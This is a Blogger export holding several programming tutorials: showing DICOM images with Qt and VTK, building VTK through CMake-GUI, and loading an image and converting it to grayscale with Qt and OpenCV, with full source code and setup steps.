1. Create a new "Qt GUI Application" Project in Qt<br />
2. Open the .pro file, add the following items in it:<br />
<pre><!--StartFragment--><span style="color: purple;">LIBS</span><span style="color: silver;"> </span>+=<span style="color: silver;"> </span>-L/usr/local/lib/vtk-5.10 #folder to your VTK library</pre>
<pre></pre>
<pre><span style="color: purple;">LIBS</span><span style="color: silver;"> </span>+=<span style="color: silver;"> </span>-lvtkCommon<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lvtkRendering<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lvtkVolumeRendering<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lQVTK<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lvtkIO<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lvtkFiltering<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lvtkgdcm</pre>
<pre><span style="color: purple;">INCLUDEPATH</span><span style="color: silver;"> </span>+=<span style="color: silver;"> </span>/usr/local/<span style="color: olive;">include</span>/vtk-5.10 #folder to your VTK include files</pre>
<pre><a name='more'></a>
</pre>
<pre><span style="font-family: 'Times New Roman'; white-space: normal;">3. Open the ui designer in Qt Creator (just double click the .ui file)</span></pre>
<pre><span style="font-family: 'Times New Roman'; white-space: normal;">4. Add a button and a QWidget, right click on QWidget choose "promote to...".</span></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8VORhU0IZlxEvbSxdIlxZKDDJZiR4rEK9Uqp7HcGiSRQlOYZXiTGr9ZcD6M_Gd0zTtU8Oojzd1YycL3WXTpGRxkFDpSk8zhlaPM_Sf_sk6mhq6maCAJ9DzmS-BN1Lm-48xO4VHy4yHxc/s1600/singleDCMUI.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8VORhU0IZlxEvbSxdIlxZKDDJZiR4rEK9Uqp7HcGiSRQlOYZXiTGr9ZcD6M_Gd0zTtU8Oojzd1YycL3WXTpGRxkFDpSk8zhlaPM_Sf_sk6mhq6maCAJ9DzmS-BN1Lm-48xO4VHy4yHxc/s320/singleDCMUI.png" width="320" /></a></div>
<pre><span style="font-family: 'Times New Roman'; white-space: normal;">5. A new window appears, in the "Promoted class name" text box insert "QVTKWidget" and in the Header file section, input "QVTKWidget.h" (case-sensitive). Don't mess with the picture below, in my picture the Base class name is QPushButton, but it should appears as QWidget.</span></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikoTo0nltA2cY_FamGKsPh7LU0eg0dTGryUI9OOSj-NdNsIRqZ0iLi-H6N849EAXOUumudSOoLEIDNZSkXrcAvbbXA5ZZGjMqk37Ebqb07RVxbencUaNShpkOeMMPWPHVnU2v0FEFFdZk/s1600/singleDCMUI1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="314" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikoTo0nltA2cY_FamGKsPh7LU0eg0dTGryUI9OOSj-NdNsIRqZ0iLi-H6N849EAXOUumudSOoLEIDNZSkXrcAvbbXA5ZZGjMqk37Ebqb07RVxbencUaNShpkOeMMPWPHVnU2v0FEFFdZk/s320/singleDCMUI1.png" width="320" /></a></div>
<pre><span style="font-family: 'Times New Roman'; white-space: normal;">6. Just add the following source code to your project:</span></pre>
<pre>mainwindow.cpp:
<pre><!--StartFragment--><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;">"mainwindow.h"</span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;">"ui_mainwindow.h"</span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkSmartPointer.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkImageViewer2.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkDICOMImageReader.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkRenderWindow.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkRenderWindowInteractor.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkRenderer.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><QVTKWidget.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><QFileDialog></span></pre>
<pre><span style="color: purple;">MainWindow</span>::<span style="color: purple;">MainWindow</span>(<span style="color: purple;">QWidget</span><span style="color: silver;"> </span>*parent)<span style="color: silver;"> </span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">QMainWindow</span>(parent),</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>(<span style="color: olive;">new</span><span style="color: silver;"> </span><span style="color: purple;">Ui</span>::<span style="color: purple;">MainWindow</span>)</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>->setupUi(<span style="color: olive;">this</span>);</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: purple;">MainWindow</span>::~<span style="font-style: italic;">MainWindow</span>()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">delete</span><span style="color: silver;"> </span><span style="color: maroon;">ui</span>;</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span>::openDCMFile()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">QString</span><span style="color: silver;"> </span>fileNameDCM<span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: purple;">QFileDialog</span>::getOpenFileName(<span style="color: olive;">this</span>,tr(<span style="color: green;">"Open File DCM"</span>),<span style="color: purple;">QDir</span>::currentPath(),tr(<span style="color: green;">"DCM Files (*.dcm )"</span>));</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">std</span>::<span style="color: purple;">string</span><span style="color: silver;"> </span>stdstrFileNameDCM<span style="color: silver;"> </span>=<span style="color: silver;"> </span>fileNameDCM.toUtf8().constData();</pre>
<pre><span style="color: silver;"> </span>drawDICOMImg(stdstrFileNameDCM);</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span>::drawDICOMImg(<span style="color: purple;">std</span>::<span style="color: purple;">string</span><span style="color: silver;"> </span>fileDICOM)</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">vtkSmartPointer</span><<span style="color: purple;">vtkDICOMImageReader</span>><span style="color: silver;"> </span>reader<span style="color: silver;"> </span>=</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">vtkSmartPointer</span><<span style="color: purple;">vtkDICOMImageReader</span>>::New();</pre>
<pre><span style="color: silver;"> </span>reader-><span style="font-style: italic;">SetFileName</span>(fileDICOM.c_str());</pre>
<pre><span style="color: silver;"> </span>reader-><span style="font-style: italic;">Update</span>();</pre>
<pre></pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">vtkSmartPointer</span><<span style="color: purple;">vtkImageViewer2</span>><span style="color: silver;"> </span>imageViewer<span style="color: silver;"> </span>=</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">vtkSmartPointer</span><<span style="color: purple;">vtkImageViewer2</span>>::New();</pre>
<pre><span style="color: silver;"> </span>imageViewer-><span style="font-style: italic;">SetInputConnection</span>(reader->GetOutputPort());</pre>
<pre><span style="color: silver;"> </span>imageViewer-><span style="font-style: italic;">SetRenderWindow</span>(<span style="color: maroon;">ui</span>-><span style="color: maroon;">vtkRenderer</span>-><span style="font-style: italic;">GetRenderWindow</span>());</pre>
<pre><span style="color: silver;"> </span>imageViewer-><span style="font-style: italic;">Render</span>();</pre>
<pre></pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span>::on_btnOpenDCM_clicked()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span>openDCMFile();</pre>
<pre>}</pre>
<pre></pre>
<pre>mainwindow.h:</pre>
<pre><pre><!--StartFragment--><span style="color: navy;">#ifndef</span><span style="color: silver;"> </span>MAINWINDOW_H</pre>
<pre><span style="color: navy;">#define</span><span style="color: silver;"> </span>MAINWINDOW_H</pre>
<pre></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><QMainWindow></span></pre>
<pre></pre>
<pre><span style="color: olive;">namespace</span><span style="color: silver;"> </span><span style="color: purple;">Ui</span><span style="color: silver;"> </span>{</pre>
<pre><span style="color: olive;">class</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span>;</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: olive;">class</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span><span style="color: silver;"> </span>:<span style="color: silver;"> </span><span style="color: olive;">public</span><span style="color: silver;"> </span><span style="color: purple;">QMainWindow</span></pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: navy;">Q_OBJECT</span></pre>
<pre><span style="color: silver;"> </span></pre>
<pre><span style="color: olive;">public</span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">explicit</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span>(<span style="color: purple;">QWidget</span><span style="color: silver;"> </span>*parent<span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: navy;">0</span>);</pre>
<pre><span style="color: silver;"> </span>~<span style="font-style: italic;">MainWindow</span>();</pre>
<pre><span style="color: silver;"> </span></pre>
<pre><span style="color: olive;">private</span><span style="color: silver;"> </span><span style="color: olive;">slots</span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>openDCMFile();</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>drawDICOMImg(<span style="color: purple;">std</span>::<span style="color: purple;">string</span><span style="color: silver;"> </span>fileDICOM);</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>on_btnOpenDCM_clicked();</pre>
<pre></pre>
<pre><span style="color: olive;">private</span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">Ui</span>::<span style="color: purple;">MainWindow</span><span style="color: silver;"> </span>*<span style="color: maroon;">ui</span>;</pre>
<pre>};</pre>
<pre></pre>
<pre><span style="color: navy;">#endif</span><span style="color: silver;"> </span><span style="color: green;">// MAINWINDOW_H</span></pre>
<pre>main.cpp:<!--EndFragment--></pre>
<pre><pre><!--StartFragment--><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;">"mainwindow.h"</span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><QApplication></span></pre>
<pre></pre>
<pre><span style="color: olive;">int</span><span style="color: silver;"> </span>main(<span style="color: olive;">int</span><span style="color: silver;"> </span>argc,<span style="color: silver;"> </span><span style="color: olive;">char</span><span style="color: silver;"> </span>*argv[])</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">QApplication</span><span style="color: silver;"> </span>a(argc,<span style="color: silver;"> </span>argv);</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span><span style="color: silver;"> </span>w;</pre>
<pre><span style="color: silver;"> </span>w.show();</pre>
<pre><span style="color: silver;"> </span></pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">return</span><span style="color: silver;"> </span>a.exec();</pre>
<pre>}</pre>
<pre><!--EndFragment--></pre>
</pre>
</pre>
DOWNLOAD THE COMPLETE SOURCE CODE: <a href="http://www.mediafire.com/?6bmg7jbbcvjpfmj">QtSingleDCMDisplay.zip</a>
<pre><!--EndFragment--></pre>
</pre>
<pre><span style="font-family: 'Times New Roman'; white-space: normal;">
</span></pre>
Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com9tag:blogger.com,1999:blog-5921365435249055889.post-28790981138079677162013-03-07T15:49:00.000+07:002013-03-20T08:05:17.062+07:00[Qt + VTK] Install VTK with Qt Integration using CMake-GUI (Linux & Windows)If you already finished installing VTK, let's try the examples to <a href="http://hxr99.blogspot.com/2013/03/qt-vtk-displaying-single-dicom-file.html">read single DICOM</a> file and <a href="http://hxr99.blogspot.com/2013/03/qt-vtk-displaying-dicom-series-using.html">DICOM file series</a>.<br />
1. Download Cmake-GUI and install:<br />
<br />
<ul>
<li>For Windows : <a href="http://www.cmake.org/cmake/resources/software.html">http://www.cmake.org/cmake/resources/software.html</a></li>
<li>For Linux (Choose one of these): </li>
</ul>
<ol><ol>
<li>Open the Synaptic Manager, search for the Cmake-gui then install it.</li>
<li>Open terminal, then type apt-get install cmake-qt-gui</li>
<li>Download and install it from source: <a href="http://www.cmake.org/cmake/resources/software.html">http://www.cmake.org/cmake/resources/software.html</a></li>
</ol>
</ol>
<br />
<a name='more'></a><br />
<br />
2. Download the latest VTK library <a href="http://www.vtk.org/VTK/resources/software.html">here</a> and extract it to your preferred folder.<br />
3. Open CMake-GUI<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQSSlFfDZ1B7VC92jc58JI2_mJ64Qbb0EBSLcC2h-o3HpIxZTU0bpvc4oKc7OyR2JR8tbx7LJAXw9fRBVVLrbGJXwHJliUD1IaMfVjdCY0E3R2F8mGhHBDJCFT3iR4267xvMOxIgvBOZk/s1600/cmake-gui.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="183" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQSSlFfDZ1B7VC92jc58JI2_mJ64Qbb0EBSLcC2h-o3HpIxZTU0bpvc4oKc7OyR2JR8tbx7LJAXw9fRBVVLrbGJXwHJliUD1IaMfVjdCY0E3R2F8mGhHBDJCFT3iR4267xvMOxIgvBOZk/s320/cmake-gui.png" width="320" /></a></div>
4. To make sure it won't conflict with other resources, open File->Delete Cache<br />
5. Click the "Browse Source" button and choose the VTK source folder you have already extracted (In this example would be /home/user/VTK5.10.1)<br />
<br />
6. Click the "Browse Build" button and choose the folder destination you want the VTK to be built.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDuJdoxg5t5hyY-NrM-LWMbimbgT-6cYhrRMDaWUAtmnOYiYQVOtvH4YltEdaK1b9aWuL2LcmSOU0SukAg54Lw91tZ5Jx4GZJm6aLL6XxIF2dRj4B2OuDb78dOoPEv2v_JcZEsCmm-jLk/s1600/cmake-guibuld.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="183" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDuJdoxg5t5hyY-NrM-LWMbimbgT-6cYhrRMDaWUAtmnOYiYQVOtvH4YltEdaK1b9aWuL2LcmSOU0SukAg54Lw91tZ5Jx4GZJm6aLL6XxIF2dRj4B2OuDb78dOoPEv2v_JcZEsCmm-jLk/s320/cmake-guibuld.png" width="320" /></a></div>
<br />
7. Click Configure, then specify the makefile generator, the default configuration is "Unix Makefiles" in Linux system and in Windows it would be "MinGW" or "Visual Studio" it depends on what you prefer, if you are finished click the Finish button.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG_iWAmo6Cug7PH9UaGHIoM0hSEu29KVi9lMf0fspl9PAEJhTAtFt1-W_BLnI1VpIzYSku5aBOOR_gfRxFmspzbVpbq7AJr-I4FxB0m2vy98Z_4WZc88NVWsMCq4kom5oqD2n2B6YTewI/s1600/cmake-guimake.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="255" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG_iWAmo6Cug7PH9UaGHIoM0hSEu29KVi9lMf0fspl9PAEJhTAtFt1-W_BLnI1VpIzYSku5aBOOR_gfRxFmspzbVpbq7AJr-I4FxB0m2vy98Z_4WZc88NVWsMCq4kom5oqD2n2B6YTewI/s320/cmake-guimake.png" width="320" /></a></div>
<br />
8. Wait a minute for cmake configuring the first configuration for you. It will show you lots of default make configuration, for more entries check the "Advanced" checkbutton.<br />
9. If you want VTK integrated with Qt, check the VTK_USE_QT and VTK_USE_GUISUPPORT option in Advanced entries. Actually, there are many other configurations, you may check them if you want to enable it, so you don't have to build it again later.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit245EgbosvkMsPRzzyVobI9J15dGXuHCm_pugtas7NL5UTqirDRnm7UOanF0mx_syD2QpNLsWnXB9ik2DkJTr9om6gtIHQpOQ0agM4vKn0UKwHqWRbmumclYFlc4rbiWH4BjDvLS-jc8/s1600/cmake-guiqt.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="183" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit245EgbosvkMsPRzzyVobI9J15dGXuHCm_pugtas7NL5UTqirDRnm7UOanF0mx_syD2QpNLsWnXB9ik2DkJTr9om6gtIHQpOQ0agM4vKn0UKwHqWRbmumclYFlc4rbiWH4BjDvLS-jc8/s320/cmake-guiqt.png" width="320" /></a></div>
10. After finishing the configuration, click "Configure" button, then finish it with clicking "Generate" button for cmake generating the make file.<br />
<br />
For Linux:<br />
11. Open the terminal, change directory to the folder you had choosen to build the VTK in the cmake-gui. (command "cd /folder/VTK/build")<br />
12. Compile the make file, if you have a multi-core processor, you can parallel the make processing. (command "make" or "make -j<number of jobs to be paralleled>"->example : make -j4 , if you have 4 processor cores)<br />
13. Your VTK library is already compiled.<br />
<br />
For Windows:<br />
11. If you choosed the "Visual Studio" in step 7, then open Visual Studio, Open file and choose the BUILD_ALL.SLN.<br />
12. After visual studio successfully load all the files, choose BUILD SOLUTION<br />
13. Your VTK library is already compiled.Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com6tag:blogger.com,1999:blog-5921365435249055889.post-30268816565055655962013-01-30T22:27:00.003+07:002013-03-20T07:59:45.685+07:00[Qt + OpenCV] Displaying Images and Convert to GrayscaleIf you are interested to just display the image, see <a href="http://hxr99.blogspot.com/2011/12/opencv-with-qt-c-examples-showing-image.html">displaying image in Qt with OpenCV.</a><br />
1. Create a new Qt GUI Application project.<br />
2. Add a new Label and 3 Push Buttons (Open Image, To Grayscale, and Reset buttons) in the form.<br />
3. Do the rest with writing the program:<br />
<br />
<a name='more'></a><br />
<br />
This is the header displaywin.h:<br />
<div>
<pre><!--StartFragment--><span style="color: navy;">#ifndef</span><span style="color: silver;"> </span>DISPLAYWIN_H</pre>
<pre><span style="color: navy;">#define</span><span style="color: silver;"> </span>DISPLAYWIN_H</pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><QMainWindow></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><opencv/cv.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><opencv/highgui.h></span></pre>
<pre><span style="color: olive;">namespace</span><span style="color: silver;"> </span><span style="color: purple;">Ui</span><span style="color: silver;"> </span>{</pre>
<pre><span style="color: olive;">class</span><span style="color: silver;"> </span><span style="color: purple;">DisplayWin</span>;</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: olive;">class</span><span style="color: silver;"> </span><span style="color: purple;">DisplayWin</span><span style="color: silver;"> </span>:<span style="color: silver;"> </span><span style="color: olive;">public</span><span style="color: silver;"> </span><span style="color: purple;">QMainWindow</span></pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: navy;">Q_OBJECT</span></pre>
<pre><span style="color: silver;"> </span></pre>
<pre><span style="color: olive;">public</span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">explicit</span><span style="color: silver;"> </span><span style="color: purple;">DisplayWin</span>(<span style="color: purple;">QWidget</span><span style="color: silver;"> </span>*parent<span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: navy;">0</span>);</pre>
<pre><span style="color: silver;"> </span>~<span style="font-style: italic;">DisplayWin</span>();</pre>
<pre><span style="color: silver;"> </span></pre>
<pre><span style="color: olive;">private</span><span style="color: silver;"> </span><span style="color: olive;">slots</span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>openImage();</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>toGrayscaleImg();</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>on_btnOpen_clicked();</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>on_btnReset_clicked();</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>on_btnToGray_clicked();</pre>
<pre></pre>
<pre><span style="color: olive;">private</span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">Ui</span>::<span style="color: purple;">DisplayWin</span><span style="color: silver;"> </span>*<span style="color: maroon;">ui</span>;</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">QString</span><span style="color: silver;"> </span><span style="color: maroon;">fileName</span>;</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">IplImage</span><span style="color: silver;"> </span>*<span style="color: maroon;">iplImg</span>;</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">char</span>*<span style="color: silver;"> </span><span style="color: maroon;">charFileName</span>;</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">QImage</span><span style="color: silver;"> </span><span style="color: maroon;">qimgNew</span>;</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">QImage</span><span style="color: silver;"> </span><span style="color: maroon;">qimgGray</span>;</pre>
<pre>};</pre>
<pre></pre>
<pre><span style="color: navy;">#endif</span><span style="color: silver;"> </span><span style="color: green;">// DISPLAYWIN_H</span></pre>
<pre><!--EndFragment--></pre>
<pre>displaywin.cpp:</pre>
<pre><pre><!--StartFragment--><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;">"displaywin.h"</span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;">"ui_displaywin.h"</span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><opencv2/opencv.hpp></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><QFileDialog></span></pre>
<pre><span style="color: purple;">
</span></pre>
<pre><span style="color: purple;">DisplayWin</span>::<span style="color: purple;">DisplayWin</span>(<span style="color: purple;">QWidget</span><span style="color: silver;"> </span>*parent)<span style="color: silver;"> </span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">QMainWindow</span>(parent),</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>(<span style="color: olive;">new</span><span style="color: silver;"> </span><span style="color: purple;">Ui</span>::<span style="color: purple;">DisplayWin</span>)</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>->setupUi(<span style="color: olive;">this</span>);</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: purple;">DisplayWin</span>::~<span style="font-style: italic;">DisplayWin</span>()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">delete</span><span style="color: silver;"> </span><span style="color: maroon;">ui</span>;</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">DisplayWin</span>::openImage()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">fileName</span><span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: purple;">QFileDialog</span>::getOpenFileName(<span style="color: olive;">this</span>,tr(<span style="color: green;">"Open Image"</span>),<span style="color: purple;">QDir</span>::currentPath(),tr(<span style="color: green;">"Image Files [ *.jpg , *.jpeg , *.bmp , *.png , *.gif]"</span>));</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">charFileName</span><span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: maroon;">fileName</span>.toLocal8Bit().data();</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">iplImg</span><span style="color: silver;"> </span>=<span style="color: silver;"> </span>cvLoadImage(<span style="color: maroon;">charFileName</span>);</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">qimgNew</span><span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: purple;">QImage</span>((<span style="color: olive;">const</span><span style="color: silver;"> </span><span style="color: olive;">unsigned</span><span style="color: silver;"> </span><span style="color: olive;">char</span>*)<span style="color: maroon;">iplImg</span>-><span style="color: maroon;">imageData</span>,<span style="color: maroon;">iplImg</span>-><span style="color: maroon;">width</span>,<span style="color: maroon;">iplImg</span>-><span style="color: maroon;">height</span>,<span style="color: purple;">QImage</span>::<span style="color: purple;">Format_RGB888</span>).rgbSwapped();</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>-><span style="color: maroon;">lblImage</span>->setPixmap(<span style="color: purple;">QPixmap</span>::fromImage(<span style="color: maroon;">qimgNew</span>));</pre>
<pre>}</pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">DisplayWin</span>::toGrayscaleImg()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>-><span style="color: maroon;">lblImage</span>->clear();</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">IplImage</span><span style="color: silver;"> </span>*imgGray<span style="color: silver;"> </span>=<span style="color: silver;"> </span>cvLoadImage(<span style="color: maroon;">charFileName</span>,<span style="color: silver;"> </span><span style="color: purple;">CV_LOAD_IMAGE_GRAYSCALE</span>);</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">qimgGray</span><span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: purple;">QImage</span>((<span style="color: olive;">const</span><span style="color: silver;"> </span><span style="color: olive;">unsigned</span><span style="color: silver;"> </span><span style="color: olive;">char</span>*)imgGray-><span style="color: maroon;">imageData</span>,imgGray-><span style="color: maroon;">width</span>,imgGray-><span style="color: maroon;">height</span>,<span style="color: purple;">QImage</span>::<span style="color: purple;">Format_Indexed8</span>);</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">qimgGray</span>.setPixel(<span style="color: navy;">0</span>,<span style="color: navy;">0</span>,qRgb(<span style="color: navy;">0</span>,<span style="color: navy;">0</span>,<span style="color: navy;">0</span>));</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>-><span style="color: maroon;">lblImage</span>->setPixmap(<span style="color: purple;">QPixmap</span>::fromImage(<span style="color: maroon;">qimgGray</span>));</pre>
<pre>}</pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">DisplayWin</span>::on_btnOpen_clicked()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span>openImage();</pre>
<pre>}</pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">DisplayWin</span>::on_btnReset_clicked()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>-><span style="color: maroon;">lblImage</span>->clear();</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">DisplayWin</span>::on_btnToGray_clicked()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span>toGrayscaleImg();</pre>
<pre>}</pre>
<pre><!--EndFragment--></pre>
<pre>main.cpp:</pre>
<pre><pre><!--StartFragment--><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;">"displaywin.h"</span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><QApplication></span></pre>
<pre></pre>
<pre><span style="color: olive;">int</span><span style="color: silver;"> </span>main(<span style="color: olive;">int</span><span style="color: silver;"> </span>argc,<span style="color: silver;"> </span><span style="color: olive;">char</span><span style="color: silver;"> </span>*argv[])</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">QApplication</span><span style="color: silver;"> </span>a(argc,<span style="color: silver;"> </span>argv);</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">DisplayWin</span><span style="color: silver;"> </span>w;</pre>
<pre><span style="color: silver;"> </span>w.show();</pre>
<pre><span style="color: silver;"> </span></pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">return</span><span style="color: silver;"> </span>a.exec();</pre>
<pre>}</pre>
<pre><!--EndFragment--></pre>
<span style="font-family: 'Times New Roman'; white-space: normal;">You can download the project </span><a href="http://www.mediafire.com/?88lxe4r7n33u06r" style="font-family: 'Times New Roman'; white-space: normal;">here</a>
</pre>
</pre>
</div>
Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com2tag:blogger.com,1999:blog-5921365435249055889.post-46981612856165289112013-01-19T13:17:00.001+07:002013-01-19T13:17:44.552+07:00Linux Shortcuts and Commands<br />
<b>Legend:</b><br />
<> = single special or function key on the keyboard. For example <Ctrl> indicates the "control" key.<br />
